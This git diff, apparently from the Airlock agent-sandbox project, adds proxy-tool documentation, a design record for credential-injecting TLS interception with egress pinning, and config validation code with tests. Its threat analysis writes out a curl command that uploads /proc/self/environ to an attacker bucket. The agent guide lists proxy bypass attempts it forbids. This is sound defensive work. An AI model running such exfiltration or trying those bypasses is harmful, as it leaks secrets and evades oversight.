other tool, with normal `https://` +URLs from the API docs: + +``` +airlock exec -- curl -s https://run.googleapis.com/v2/projects/my-project/locations/-/services +airlock exec -- curl -s 'https://storage.googleapis.com/storage/v1/b?project=my-project' +``` + +`airlock list` shows the hosts a proxy tool can reach: + +``` +curl + HTTP client for Google Cloud REST APIs (authenticated automatically) + (no environment) + proxy tool; reachable hosts: + *.googleapis.com (authorization injected from ) +``` + +Rules: + +- **Do not pass authentication headers.** Airlock adds the credential. If you + pass the same header yourself (for example `-H 'Authorization: ...'`), the + proxy removes it. You also have no token to put there. +- **Only the hosts that `airlock list` shows are reachable.** Requests to any + other host fail. +- **`403` from the proxy means the host, port, method or path is not + allowed.** The response body says why. This is a policy decision, not a + temporary error. Do **not** retry with `--noproxy`, `--insecure`/`-k`, a + different port, or a changed URL. The sandbox blocks direct connections, so + these retries also fail. Tell the user about the refusal. +- **Responses are redacted, also when saved to a file.** The daemon redacts + header values and body before the tool gets them. So `-o file` and + `-D`/`--dump-header` write `[REDACTED:NAME]` in place of any credential. If + you see this in a downloaded file, the API sent back a secret and Airlock + replaced it. This is expected. +- **Compression is not available.** The proxy always asks the API for an + uncompressed response, so `--compressed` gets plain bytes. If an API + compresses the response anyway, the proxy returns + `502 ... content-encoded`. You do not need to work around this. +- **Range requests and resumed downloads do not work.** The proxy removes the + `Range` header that `--range`/`-r` and `-C -` send, so the API returns the + whole resource. A resumed download fails or starts again from the + beginning. Download each file in one request. + ### Check daemon status ``` diff --git a/docs/proxy-tools-design.md b/docs/proxy-tools-design.md new file mode 100644 index 0000000..9cd33ea --- /dev/null +++ b/docs/proxy-tools-design.md @@ -0,0 +1,379 @@ +# Proxy tools — design proposal + +**Status:** implemented through phase 3. The config schema and route matcher +live in [src/proxy.rs](../src/proxy.rs) and [src/config.rs](../src/config.rs); +the runtime is [src/proxy/server.rs](../src/proxy/server.rs) and +[src/proxy/ca.rs](../src/proxy/ca.rs), wired into `start_tool` in +[src/daemon.rs](../src/daemon.rs). Egress pinning is in +[src/sandbox.rs](../src/sandbox.rs) for both platforms. Operator-facing +documentation of what shipped, including the residual risks below, is in +[SECURITY.md](../SECURITY.md#proxy-tools). + +This document is the design record — why the shape is what it is. It is not +the reference for how to use the feature; that is +[README.md](../README.md#proxy-tools) and [SKILL.md](../SKILL.md#proxy-tools). + +## Problem + +Not every API is reachable through a purpose-built CLI. `gcloud` covers a +fraction of the Google Cloud REST surface; the rest needs a raw HTTP client. +Today that is impossible to do safely: [SECURITY.md](../SECURITY.md) forbids +declaring `curl` as a tool, because a tool whose arguments the agent fully +controls can ship anything in its environment anywhere. + +We want a tool type where the agent *can* use `curl` freely against an +operator-approved set of APIs, authenticated, without the credential ever +being within the agent's reach. + +## Why a host allowlist alone is not enough + +The obvious design — keep the token in curl's env, restrict where curl can +connect — does not hold: + +- **Allowed hosts are multi-tenant.** `storage.googleapis.com` serves every + GCP customer. `curl -T /proc/self/environ https://storage.googleapis.com/attacker-bucket/x` + never leaves the allowlist. +- **curl can read its own environment without a shell.** Since 8.3, + `--variable %NAME` imports an env var and `--expand-url` / `--expand-data` + interpolate it. This works on macOS too, where `/proc/self/environ` does not + exist. +- **curl can write files** (`-o`, `--dump-header`, `--trace`) into the sandbox + root, where the agent reads them back unredacted. + +So the design rests on a different invariant: + +> **A proxy tool never holds a secret.** The credential is attached to the +> request inside the daemon, after the request has left the tool. + +Everything the agent can extract from curl's process — env, files, memory — +is then worthless. Config validation enforces this: a proxy tool whose `env` +contains a `{ secret = ... }` reference is rejected at load time. + +Egress restriction is still part of the design, but as the second layer, not +the first (see [Sandbox enforcement](#sandbox-enforcement)). + +## Prior art: claw-wrap + +`claw-wrap` (Go, built on `elazarl/goproxy`) has the same feature. Summary of +what it does and what this proposal takes from it: + +| claw-wrap | Airlock | +|---|---| +| One global in-daemon MITM proxy on a fixed `127.0.0.1:8080`; tools opt in with `use_proxy: true`. | **Per-exec listener** on an ephemeral port, carrying only that tool's routes. A global route table means any proxied tool can obtain any route's credential. | +| Child gets `HTTP(S)_PROXY` + `CURL_CA_BUNDLE` / `SSL_CERT_FILE` / `NODE_EXTRA_CA_CERTS` / `REQUESTS_CA_BUNDLE`. Proxy URL is built from the *configured* listen string, not the bound address. | Same env vars, built from the **actual bound address**. | +| CA generated on disk (RSA-4096, key file 0600), rotated near expiry. | CA key **generated in memory at daemon start, never written**. Only the certificate touches disk. | +| Routes: host pattern → one injected header templated from a credential, plus `METHOD /path` allow/deny. `*` = one segment, `**` = rest. Host wildcard = exactly one label. | Same shape (adopted nearly verbatim — it is a good schema). | +| **Unmatched hosts pass through unmodified.** Routes are injection rules, not egress policy. | **Deny by default.** A host with no route is unreachable. | +| **Nothing blocks direct egress.** The sandbox docs cover filesystem only; a tool can ignore `HTTPS_PROXY` and connect directly. | Sandbox pins the tool's network to the proxy port. | +| Proxy auth: random token, Basic auth, constant-time compare. | Same, but per-exec (see below for why it is mandatory here). | +| SSRF: private-range check in the dialer's `Control` callback — i.e. *after* DNS resolution, which defeats rebinding. | Same: check the resolved `SocketAddr` immediately before `connect()`. | +| Host header vs. CONNECT authority consistency check. | Same, and the client's SNI is ignored entirely. | +| No response redaction, no audit trail for proxied requests. | **Responses are redacted in the proxy** — header values and body — so nothing the tool writes to a file holds a secret; proxied requests are logged to the ring buffer. | + +## Decisions taken + +From the design interview: + +1. **TLS interception with a generated CA**, so the agent uses ordinary + `https://` URLs copied from API docs. (Rejected: plain-HTTP reverse proxy — + breaks redirects, pagination links and resumable-upload URLs; CONNECT-only + allowlist — leaves the token in curl's env.) +2. **Linux: Landlock TCP port restriction**, gap documented. (Rejected for + now: network namespaces — airtight, but a large change to the pre-exec + path and dependent on unprivileged user namespaces.) +3. **Routes carry optional method/path rules**, not just hosts. +4. **Schema first, runtime second.** The schema landed on its own with the + daemon refusing to run proxy tools, so that a half-built feature could never + hand a tool open network; the runtime then replaced that refusal. + +## Config schema + +```toml +# Minted on the trusted side, refreshed before expiry. The tool never sees it. +[secrets.gcp_token] +source = "command" +command = ["gcloud", "auth", "print-access-token", + "--impersonate-service-account=agent-ro@my-project.iam.gserviceaccount.com"] +refresh = 3000 + +[tools.curl] +description = "HTTP client for Google Cloud REST APIs (authenticated automatically)" +proxy = true + +[[tools.curl.routes]] +host = "*.googleapis.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "gcp_token" } +allow = ["* /v2/projects/my-project/**"] +deny = ["DELETE /**"] +``` + +Validation (all at config load, all covered by tests): + +- `proxy = true` requires at least one route; `routes` without `proxy = true` + is an error. +- A proxy tool's `env` may hold static values only — **no secret refs** — and + may not set `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`, + `CURL_CA_BUNDLE`, `SSL_CERT_FILE`, `SSL_CERT_DIR`, `NODE_EXTRA_CA_CERTS` or + `REQUESTS_CA_BUNDLE` in either case. The daemon owns those. +- `host` is a DNS name or `*.` + DNS name. `*` matches exactly one label: + `*.googleapis.com` covers `run.googleapis.com` and + `europe-west1-run.googleapis.com`, not `googleapis.com`, not `a.b.googleapis.com`. + IP literals, ports, schemes and `*.tld` are rejected. Duplicate hosts within + a tool are rejected. An exact host beats a wildcard regardless of order. +- `inject.value` must contain `{secret}` exactly once and be printable ASCII + (no CR/LF — config cannot smuggle headers). `inject.header` may not be a + framing or hop-by-hop header (`Host`, `Content-Length`, + `Transfer-Encoding`, `Connection`, `Proxy-Authorization`, …). + `inject.secret` must be declared in `[secrets]`. `inject` is optional: a + route without it makes a host reachable unauthenticated. +- Rules are `METHOD /path`; method is uppercase or `*`; `*` is one non-empty + segment, `**` (final segment only) is zero or more. **`deny` beats `allow`; + an empty `allow` permits anything not denied.** Method comparison is + case-insensitive so `deny = ["DELETE /**"]` still bites on `delete`. +- Rules match the path only, never the query string. + +**Path ambiguity is refused, not normalized.** Rules are matched against the +percent-decoded path (one decode per segment), because that is what the +upstream routes on — `/%72epos` must hit a `deny` on `/repos`. Rule literals +are written in decoded form and may not contain `%`. Anything whose meaning +still depends on the upstream's normalization is refused regardless of rules: +`.`/`..` segments, empty inner segments, a backslash, a malformed escape, or +an escape that decodes to `/`, `\`, `%` (double encoding) or NUL. Any of +those would let a request match `allow` as one path and be served as another. + +## Runtime design + +### Per-exec flow + +``` +start_tool(tool = "curl") + 1. policy = config.tools["curl"].proxy (Some → proxy tool) + 2. listener = TcpListener::bind("127.0.0.1:0") → port P (actual) + 3. token = 32 random bytes (per exec) + 4. env += HTTPS_PROXY = https_proxy = HTTP_PROXY = http_proxy = ALL_PROXY + = http://airlock:@127.0.0.1:P + NO_PROXY = no_proxy = "" + CURL_CA_BUNDLE = SSL_CERT_FILE = REQUESTS_CA_BUNDLE + = NODE_EXTRA_CA_CERTS = /ca.pem + 5. ToolPolicy.network = ProxyOnly(P) → sandbox profile + 6. spawn child; tokio::spawn(serve(listener, policy, token, secrets)) + 7. child exits → abort the serve task, drop the listener +``` + +The listener lives exactly as long as the child. Nothing is bound when no +proxy tool is running. + +**Proxy auth is mandatory, not optional.** Airlock's trust boundary is a +`0700` Unix socket. A loopback TCP port has no file mode — *any local user* +can connect to it. Without the token, another user on the machine could race +an exec and have the daemon attach credentials to their requests. The token +is visible to the tool (and thus the agent), which is fine: it grants nothing +the agent does not already have via `airlock exec`. + +### Request handling + +``` +CONNECT run.googleapis.com:443 + ├─ Proxy-Authorization ≠ token (constant-time) → 407 + ├─ port ≠ 443 → 403 + ├─ policy.find_route(host) is None → 403 (deny by default) + └─ 200; TLS-accept with a leaf minted for `host` (client SNI ignored) + ALPN: http/1.1 only + per request: + ├─ Host header ≠ CONNECT authority → 400 (no domain fronting) + ├─ TE + CL together, obs-fold → 400 (smuggling) + ├─ !route.permits(method, path) → 403 + ├─ remove any client-supplied copy of inject.header + ├─ look up secret; slot Stale → 502 + ├─ set inject.header = prefix + secret + suffix + ├─ resolve host; any private / loopback / link-local / + │ CGNAT / ULA / metadata (169.254.0.0/16) address → 403 + │ (checked on the SocketAddr passed to connect(), post-DNS) + ├─ force Accept-Encoding: identity; strip Range / If-Range + ├─ upstream TLS ≥ 1.2, verified against public roots for `host` + ├─ response Content-Encoding ≠ identity, odd transfer coding, + │ or 206 / Content-Range → 502 (fail closed) + └─ redact every header value; drop Content-Length unless the + response is bodiless; stream the body through the redactor +plain `GET http://…` (non-CONNECT) → 403 (never send credentials in cleartext) +``` + +The CONNECT authority is the single source of truth: it selects the route, +names the leaf certificate, is the DNS name dialed, and is the name the +upstream certificate is verified against. `curl --resolve`, `--connect-to`, +a forged `Host`, or a forged SNI cannot make these disagree. + +Redirects need no special handling. `curl -L` to another host is a new +CONNECT evaluated against the route table; the credential cannot follow +because it was never in curl's hands. + +### CA + +- ECDSA P-256 key generated once per daemon start, after daemonization, held + in memory and zeroized on drop. **Never written to disk.** A daemon restart + yields a new CA; nothing needs to trust it across restarts, because the + only consumers are children spawned by that daemon. +- The CA certificate carries X.509 **Name Constraints** limiting it to the + union of all routed DNS names, so even a leaked key cannot sign for + arbitrary sites. `MaxPathLen = 0`. +- The certificate (public, not secret) is written to a daemon-owned runtime + directory readable by the tool's sandbox. +- The bundle handed to the tool contains **only** the Airlock CA. Every + connection the tool can make is intercepted, so public roots are not needed + and leaving them out means a direct connection that somehow escaped the + sandbox would still fail TLS. +- Leaf certificates are minted per host and cached for the daemon's lifetime. + +None of this touches the sync-startup invariant: key generation is pure CPU +and happens inside the async runtime, after the fork. + +### Secret handling + +The header value is assembled into a zeroizing buffer from +`Inject { prefix, secret-label, suffix }` — never through `format!`. The +secret is read from the `SecretStore` per request, so a background refresh +takes effect on the next request and a `Stale` slot fails the request the +same way it fails an exec today. + +### Sandbox enforcement + +`ToolPolicy::requires_network: bool` becomes a three-way +`network: None | Full | ProxyOnly(port)`. + +**macOS (Seatbelt).** Replace the blanket `(allow network-outbound)` with +`(allow network-outbound (remote tcp "localhost:P"))` and omit the +mDNSResponder rules entirely — the tool needs no DNS, the daemon resolves. +Seatbelt's network filter only accepts `localhost` or `*` as the host, which +is exactly the shape needed. This is airtight for TCP and UDP. + +**Linux (Landlock).** ABI v4 (kernel ≥ 6.7) adds `LANDLOCK_ACCESS_NET_CONNECT_TCP` +and `BIND_TCP`. Handle both, allow connect to port `P` only. On an older +kernel a proxy tool **fails closed**. Known gaps, to be stated in SECURITY.md: + +- The rule is **port-scoped, not host-scoped**: the tool may connect to port + `P` on any host. +- **UDP is not covered**: DNS-based exfiltration remains possible. + +What the gaps cost: the tool holds no secret, so they leak *data the tool can +read*, not credentials — and the agent's own sandbox already has general +network access, so this is not a capability the agent lacked. Egress pinning +makes the tool's reachability equal its route table and is what makes +non-curl proxy tools (an SDK script, a vendored binary) reasonable; it is the +second layer, behind "the tool never holds a secret". A network-namespace +backend closes both gaps and is the intended follow-up. + +### Output + +Response bodies reach the agent via curl's stdout, which passes through the +Aho-Corasick redactor — but not when curl writes to a file (`-o`, +`--dump-header`, `--trace`), and that is exactly what an HTTP client is for. +Rather than fence the tool out of the filesystem, the redaction moved into the +proxy: **every response header value and every body byte is redacted before it +reaches the tool**, so the plaintext secret never exists inside the sandbox at +all. The two options the first draft weighed against each other turned out not +to be alternatives — the second only narrows where the plaintext can land, +while the first stops it being produced. + +Consequences, all accepted deliberately: + +- **Streaming, not buffering.** The body is redacted frame by frame by an + incremental redactor ([src/redact.rs](../src/redact.rs)) that holds back only + the bytes a pattern could still be starting in — never more than the longest + pattern — and whose output for any chunking equals what the single-shot + redactor makes of the whole input. It runs inside `poll_frame` with no thread + and no channel behind it, so hyper's own polling is the backpressure and + dropping the response stops the upstream read. The `spawn_blocking` bridge the + stdout path uses would have cost a thread per response and would have had to + be cancelled by hand. +- **The redactor is taken per response from the live handle**, not snapshotted + at session start. A tool runs for minutes, the proxy injects whatever the + store holds *now*, and a session snapshot would not know a token minted after + the exec began. The two generations a refresh leaves behind cover a swap that + lands mid-response. +- **`Content-Length` is dropped whenever there is a body.** A placeholder is not + the length of the secret it replaced, and which it is cannot be known before + the body has been read; hyper frames the response as chunked instead, which + HTTP/1.1 always supports. A bodiless response (HEAD, `1xx`, `204`, `304`) + keeps its length — there it is metadata about the representation, and `curl + -I` must still report one. +- **Compression fails closed.** The request forces `Accept-Encoding: identity`; + an upstream that answers with a content coding (or a transfer coding other + than chunked) gets a `502` and its body is dropped unread. No decompressor is + added: it would be a second parser of attacker-supplied bytes in the response + path for no security gain. +- **Ranges are stripped, not supported.** A range may begin in the middle of a + secret, splitting the pattern across two responses the proxy never sees + together while the tool reassembles the plaintext in a file. `Range` and + `If-Range` are removed so the upstream sends the whole representation, and a + `206` arriving anyway is refused. Resumed downloads therefore do not work. +- **Trailers are dropped.** +- **No opt-out.** Redaction on the output path is mandatory in Airlock; the + proxy is an output path. + +What it does not catch is an upstream that *transforms* the secret — reversed, +re-encoded in a scheme the redactor does not know — which is the same +limitation the stdout path has always had. + +Each proxied request is logged to the ring buffer: method, host, path +(no query string — it may carry data), route decision, upstream status. + +## Residual risks to document when the runtime lands + +- **Misuse, not leakage.** The agent gets the credential's full API authority + on routed hosts — broader than a purpose-built CLI. Mitigate with a narrowly + scoped impersonated service account first, method/path rules second. +- **Data exfiltration to co-tenants.** Anything the tool can read can be + uploaded to an attacker's project on an allowed multi-tenant host. The + credential cannot. +- **Path rules are a convenience layer**, not an authorization system. They + see the path, not the body; a `POST` allowed for one purpose may do another + (`:batchUpdate`, GraphQL). IAM is the authority boundary. +- **HTTP/1.1 only** at first; gRPC and HTTP/2-only endpoints will not work. +- **Certificate-pinned clients break** under interception. By design. + +SECURITY.md's curl ban then narrows to: *never declare curl as a tool with +secrets in its env; declare it only as a proxy tool.* + +## Dependencies + +`rustls` + `tokio-rustls` (TLS both directions), `rcgen` (CA and leaf +minting), `hyper` + `hyper-util` (HTTP/1.1 server and client), +`webpki-roots` (upstream trust). `hudsucker` packages the same stack as a +ready-made MITM proxy; hand-rolling on `hyper` is preferred because the +request path is security-critical and small enough to audit. + +## Phasing + +| Phase | Content | Status | +|---|---|---| +| **0** | Design; `proxy` / `routes` schema, validation, matcher, tests; daemon fails closed; `airlock list` shows routes. | landed | +| **1** | Runtime on macOS: per-exec listener, CA, interception, injection, SSRF dial check, Seatbelt `ProxyOnly`. Curl guidance flipped in SECURITY.md / SKILL.md / README. | landed | +| **2** | Linux: Landlock ABI v4 network rules, fail-closed kernel check. | landed; exercised by `tests/proxy_e2e_integration.rs` on the Linux CI runner (proxy port reachable, direct TCP connect refused). The fail-closed path for kernels older than 6.7 has not been run on such a kernel. | +| **3** | In-proxy response redaction: header values and body, streaming; identity encoding forced; compressed, oddly-framed and partial responses refused. | landed | +| 4 | HTTP/2, per-route upstream port, network-namespace backend. | open | + +Phase 1 landed with request auditing included rather than deferred to phase 3 — +the ring-buffer line (tool, method, host, path, decision, upstream status) falls +out of the request path for nothing, and a proxy that attaches credentials +without a trail is harder to reason about than one that does not exist yet. + +## Open questions + +**Resolved: Apple's system curl.** `/usr/bin/curl` 8.7.1 (SecureTransport / +LibreSSL 3.3.6, macOS 15) honours `CURL_CA_BUNDLE` for a proxy-intercepted +connection and accepts a leaf issued by the name-constrained CA. No Homebrew +curl requirement, and no need to soften the constraint to non-critical. Checked +two ways: a hermetic test in [src/proxy/server.rs](../src/proxy/server.rs) that +drives the real binary with nothing but the environment the daemon sets, and a +manual run against `httpbin.org` through a real daemon. + +Still open: + +- Should `airlock run` expose a long-lived proxy to the *agent's own* HTTP + client (no `airlock exec`)? Out of scope here; the per-exec model does not + extend to it without revisiting proxy auth. +- Per-route upstream port other than 443. The runtime hard-codes 443 for both + the CONNECT check and the dial. +- The upstream connection is opened per request rather than pooled per tunnel. + Correct and simple; a pool would have to carry the proof that two requests + sharing a connection were vetted identically. diff --git a/src/config.rs b/src/config.rs index ebfa9bc..15b5c43 100644 --- a/src/config.rs +++ b/src/config.rs @@ -20,6 +20,8 @@ use std::time::Duration; use serde::Deserialize; use thiserror::Error; +use crate::proxy::{HostPattern, Inject, PathRule, ProxyPolicy, ProxyRoute, RouteError}; + // ─── Constants ──────────────────────────────────────────────────────────────── /// The config file name searched for during discovery. @@ -42,6 +44,13 @@ const SOCKET_FILENAME: &str = "airlock.sock"; /// PID file filename derived from the sandbox root. const PID_FILENAME: &str = "airlock.pid"; +/// Filename of the proxy CA certificate, derived from the sandbox root. +/// +/// It lives beside the socket and the PID file so it falls inside the +/// sandbox root every tool can already read. Only the certificate is written; +/// the key never leaves the daemon's memory. +const CA_CERT_FILENAME: &str = "airlock-ca.pem"; + // ─── Error type ─────────────────────────────────────────────────────────────── /// Errors that can occur during config discovery, parsing, or validation. @@ -229,6 +238,77 @@ pub enum ConfigError { /// The offending env var name. name: String, }, + + /// `proxy` and `routes` disagree: routes without `proxy = true`, or a + /// proxy tool with no routes (which could not reach anything). + #[error("[tools.{tool}] {reason}")] + ProxyRoutesMismatch { + /// The offending tool. + tool: String, + /// Which way the two fields disagree. + reason: &'static str, + }, + + /// A proxy tool's `env` references a secret. The point of a proxy tool is + /// that the agent fully controls its arguments, so anything in its + /// environment must be assumed readable by the agent. + #[error( + "[tools.{tool}.env.{var_name}] references a secret, but {tool:?} is a proxy tool; \ + proxy tools must not receive secrets in their environment — attach the \ + credential with a route's `inject` instead" + )] + ProxyToolSecretEnv { + /// The offending tool. + tool: String, + /// The env var holding the secret reference. + var_name: String, + }, + + /// A proxy tool's `env` sets a variable the daemon itself must control to + /// keep the tool pointed at the proxy and trusting its CA. + #[error( + "[tools.{tool}.env.{var_name}] is managed by Airlock for proxy tools and cannot be set" + )] + ProxyReservedEnvVar { + /// The offending tool. + tool: String, + /// The reserved env var name. + var_name: String, + }, + + /// A `[[tools..routes]]` entry failed validation. + #[error("[[tools.{tool}.routes]] entry {index}: {source}")] + InvalidProxyRoute { + /// The offending tool. + tool: String, + /// Zero-based position of the route in the `routes` array. + index: usize, + /// What was wrong with it. + source: RouteError, + }, + + /// Two routes of one tool declare the same `host`, leaving it ambiguous + /// which rules and credential apply. + #[error("[[tools.{tool}.routes]] declares host {host:?} more than once")] + DuplicateProxyRouteHost { + /// The offending tool. + tool: String, + /// The repeated host pattern. + host: String, + }, + + /// A route's `inject.secret` names a label not declared in `[secrets]`. + #[error( + "[[tools.{tool}.routes]] host {host:?}: inject references undeclared secret label {label:?}" + )] + UndeclaredProxySecret { + /// The offending tool. + tool: String, + /// The route's host pattern. + host: String, + /// The undeclared label. + label: String, + }, } // ─── Raw TOML structures (serde) ────────────────────────────────────────────── @@ -407,6 +487,39 @@ struct RawToolConfig { /// Human-readable description of what this tool does. #[serde(default)] description: Option, + /// Marks this tool as a proxy tool: no direct network, all HTTP(S) via + /// the daemon's proxy, governed by `routes`. + #[serde(default)] + proxy: bool, + /// Egress routes. Required when `proxy = true`, rejected otherwise. + #[serde(default)] + routes: Vec, +} + +/// Raw deserialized `[[tools.X.routes]]` entry. +#[derive(Debug, Deserialize)] +#[serde(deny_unknown_fields)] +struct RawProxyRoute { + /// DNS name or `*.`-prefixed DNS name. + host: String, + /// Credential header to attach to permitted requests. + #[serde(default)] + inject: Option, + /// `METHOD /path` rules; if non-empty a request must match one. + #[serde(default)] + allow: Vec, + /// `METHOD /path` rules; a match refuses the request. + #[serde(default)] + deny: Vec, +} + +/// Raw deserialized `inject = { header, value, secret }` inline table. +#[derive(Debug, Deserialize)] +#[serde(deny_unknown_fields)] +struct RawInject { + header: String, + value: String, + secret: String, } // ─── Public types ───────────────────────────────────────────────────────────── @@ -426,6 +539,10 @@ pub struct Config { /// Path to the PID file: `{sandbox_root}/airlock.pid`. pub pid_path: PathBuf, + /// Path to the proxy CA certificate: `{sandbox_root}/airlock-ca.pem`. + /// Written only when at least one tool declares `proxy = true`. + pub ca_path: PathBuf, + /// Global timeout for tool execution. pub timeout: Duration, @@ -527,6 +644,9 @@ pub struct ToolConfig { /// Human-readable description of what this tool does. pub description: Option, + + /// Egress policy when this is a proxy tool; `None` for ordinary tools. + pub proxy: Option, } /// Resolved configuration for the `[agent]` section. @@ -566,6 +686,24 @@ pub struct DiscoveredPaths { /// Path to the PID file. pub pid_path: PathBuf, + + /// Path to the proxy CA certificate. + pub ca_path: PathBuf, +} + +impl Config { + /// Every file the daemon creates, for cleanup at shutdown or after a + /// crash. Kept in step with [`DiscoveredPaths::runtime_files`]. + pub fn runtime_files(&self) -> [&Path; 3] { + [&self.pid_path, &self.socket_path, &self.ca_path] + } +} + +impl DiscoveredPaths { + /// Every file a running daemon creates, for cleanup after it has gone. + pub fn runtime_files(&self) -> [&Path; 3] { + [&self.pid_path, &self.socket_path, &self.ca_path] + } } // ─── Discovery ──────────────────────────────────────────────────────────────── @@ -946,6 +1084,81 @@ fn resolve_secret_command_env( }) } +// ─── Proxy tools ────────────────────────────────────────────────────────────── + +/// Validate a tool's `proxy` / `routes` pair into a [`ProxyPolicy`], or `None` +/// for an ordinary tool. +fn resolve_proxy_policy( + tool: &str, + proxy: bool, + raw_routes: Vec, + secrets: &HashMap, +) -> Result, ConfigError> { + if !proxy { + if !raw_routes.is_empty() { + return Err(ConfigError::ProxyRoutesMismatch { + tool: tool.to_string(), + reason: "has routes but is not a proxy tool; add `proxy = true`", + }); + } + return Ok(None); + } + if raw_routes.is_empty() { + return Err(ConfigError::ProxyRoutesMismatch { + tool: tool.to_string(), + reason: "is a proxy tool with no routes; it could not reach any host", + }); + } + + let mut routes: Vec = Vec::with_capacity(raw_routes.len()); + for (index, raw) in raw_routes.into_iter().enumerate() { + let invalid = |source| ConfigError::InvalidProxyRoute { + tool: tool.to_string(), + index, + source, + }; + + let host = HostPattern::parse(&raw.host).map_err(invalid)?; + if routes.iter().any(|r| r.host == host) { + return Err(ConfigError::DuplicateProxyRouteHost { + tool: tool.to_string(), + host: host.to_string(), + }); + } + + let inject = match raw.inject { + None => None, + Some(i) => { + let inject = Inject::parse(&i.header, &i.value, &i.secret).map_err(invalid)?; + if !secrets.contains_key(&inject.secret) { + return Err(ConfigError::UndeclaredProxySecret { + tool: tool.to_string(), + host: host.to_string(), + label: inject.secret, + }); + } + Some(inject) + } + }; + + let parse_rules = |rules: &[String]| -> Result, ConfigError> { + rules + .iter() + .map(|r| PathRule::parse(r).map_err(invalid)) + .collect() + }; + + routes.push(ProxyRoute { + host, + inject, + allow: parse_rules(&raw.allow)?, + deny: parse_rules(&raw.deny)?, + }); + } + + Ok(Some(ProxyPolicy { routes })) +} + // ─── Public API ─────────────────────────────────────────────────────────────── /// Parse and resolve a raw TOML config string into a fully validated [`Config`]. @@ -1041,11 +1254,23 @@ fn parse_and_resolve_config( name: var_name, }); } + if raw_tool.proxy && crate::proxy::is_reserved_env_var(&var_name) { + return Err(ConfigError::ProxyReservedEnvVar { + tool: name.clone(), + var_name, + }); + } let value = match raw_value { RawEnvValue::Static(s) => { EnvValue::Static(render_env_template(&s, &sandbox_root, &name, &var_name)?) } RawEnvValue::SecretRef(RawSecretRef { secret }) => { + if raw_tool.proxy { + return Err(ConfigError::ProxyToolSecretEnv { + tool: name.clone(), + var_name, + }); + } if !secrets.contains_key(&secret) { // Location key includes the "tools." prefix so the // error message formats as [tools..env.]. @@ -1062,12 +1287,15 @@ fn parse_and_resolve_config( } } + let proxy = resolve_proxy_policy(&name, raw_tool.proxy, raw_tool.routes, &secrets)?; + let tool_config = ToolConfig { env, extra_read: resolve_paths(&raw_tool.extra_read, &sandbox_root)?, extra_write: resolve_paths(&raw_tool.extra_write, &sandbox_root)?, timeout: raw_tool.timeout.map(Duration::from_secs), description: raw_tool.description, + proxy, }; tools.insert(name, tool_config); @@ -1134,14 +1362,16 @@ fn parse_and_resolve_config( }); } - // Derive socket and PID file paths. + // Derive socket, PID and CA certificate paths. let socket_path = sandbox_root.join(SOCKET_FILENAME); let pid_path = sandbox_root.join(PID_FILENAME); + let ca_path = sandbox_root.join(CA_CERT_FILENAME); Ok(Config { sandbox_root, socket_path, pid_path, + ca_path, timeout, filesystem_read, filesystem_write, @@ -1240,6 +1470,7 @@ pub fn discover_paths(start_dir: &Path) -> Result Ok(DiscoveredPaths { socket_path: sandbox_root.join(SOCKET_FILENAME), pid_path: sandbox_root.join(PID_FILENAME), + ca_path: sandbox_root.join(CA_CERT_FILENAME), sandbox_root, }) } @@ -1287,6 +1518,7 @@ pub fn discover_paths_from_file(path: &Path) -> Result Result { + let tmp = tempdir().unwrap(); + write_config( + tmp.path(), + &format!( + r#" +allow_home_root = true + +[secrets.gcp_token] +source = "env" +from = "GCP_TOKEN" +{body}"# + ), + ); + let _home_guard = TempEnvVar::new("HOME", tmp.path().to_str().unwrap()); + load_config(tmp.path()) + } + + #[test] + fn parse_proxy_tool_with_routes() { + let config = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "*.googleapis.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "gcp_token" } +allow = ["GET /**", "POST /v2/projects/*/locations/*/services"] +deny = ["DELETE /**"] + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap(); + + let policy = config.tools["curl"].proxy.as_ref().unwrap(); + assert_eq!(policy.routes.len(), 2); + + let google = policy.find_route("run.googleapis.com").unwrap(); + let inject = google.inject.as_ref().unwrap(); + assert_eq!(inject.header, "Authorization"); + assert_eq!(inject.prefix, "Bearer "); + assert_eq!(inject.secret, "gcp_token"); + assert!(google.permits("GET", "/v2/projects/p/locations/l/services")); + assert!(google.permits("POST", "/v2/projects/p/locations/l/services")); + assert!(!google.permits("DELETE", "/v2/projects/p/locations/l/services/s")); + assert!(!google.permits("PATCH", "/v2/projects/p/locations/l/services/s")); + + let plain = policy.find_route("example.com").unwrap(); + assert!(plain.inject.is_none()); + assert!(policy.find_route("attacker.test").is_none()); + } + + #[test] + fn ordinary_tool_has_no_proxy_policy() { + let config = load_with_gcp_secret("\n[tools.gh]\n").unwrap(); + assert!(config.tools["gh"].proxy.is_none()); + } + + #[test] + fn reject_routes_without_proxy_flag() { + let err = load_with_gcp_secret( + r#" +[tools.curl] + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyRoutesMismatch { ref tool, .. } if tool == "curl"), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_without_routes() { + let err = load_with_gcp_secret("\n[tools.curl]\nproxy = true\n").unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyRoutesMismatch { .. }), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_with_secret_in_env() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[tools.curl.env] +TOKEN = { secret = "gcp_token" } + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap_err(); + assert!( + matches!( + err, + ConfigError::ProxyToolSecretEnv { ref tool, ref var_name } + if tool == "curl" && var_name == "TOKEN" + ), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_overriding_proxy_env_in_either_case() { + for var in ["HTTPS_PROXY", "https_proxy", "CURL_CA_BUNDLE", "no_proxy"] { + let err = load_with_gcp_secret(&format!( + r#" +[tools.curl] +proxy = true + +[tools.curl.env] +{var} = "x" + +[[tools.curl.routes]] +host = "example.com" +"# + )) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyReservedEnvVar { ref var_name, .. } if var_name == var), + "{var}: got {err:?}" + ); + } + } + + #[test] + fn ordinary_tool_may_still_set_proxy_env() { + let config = load_with_gcp_secret( + r#" +[tools.gh.env] +HTTPS_PROXY = "http://corp-proxy.internal:3128" +"#, + ) + .unwrap(); + assert!(config.tools["gh"].env.contains_key("HTTPS_PROXY")); + } + + #[test] + fn proxy_tool_may_set_static_env() { + let config = load_with_gcp_secret( + r#" 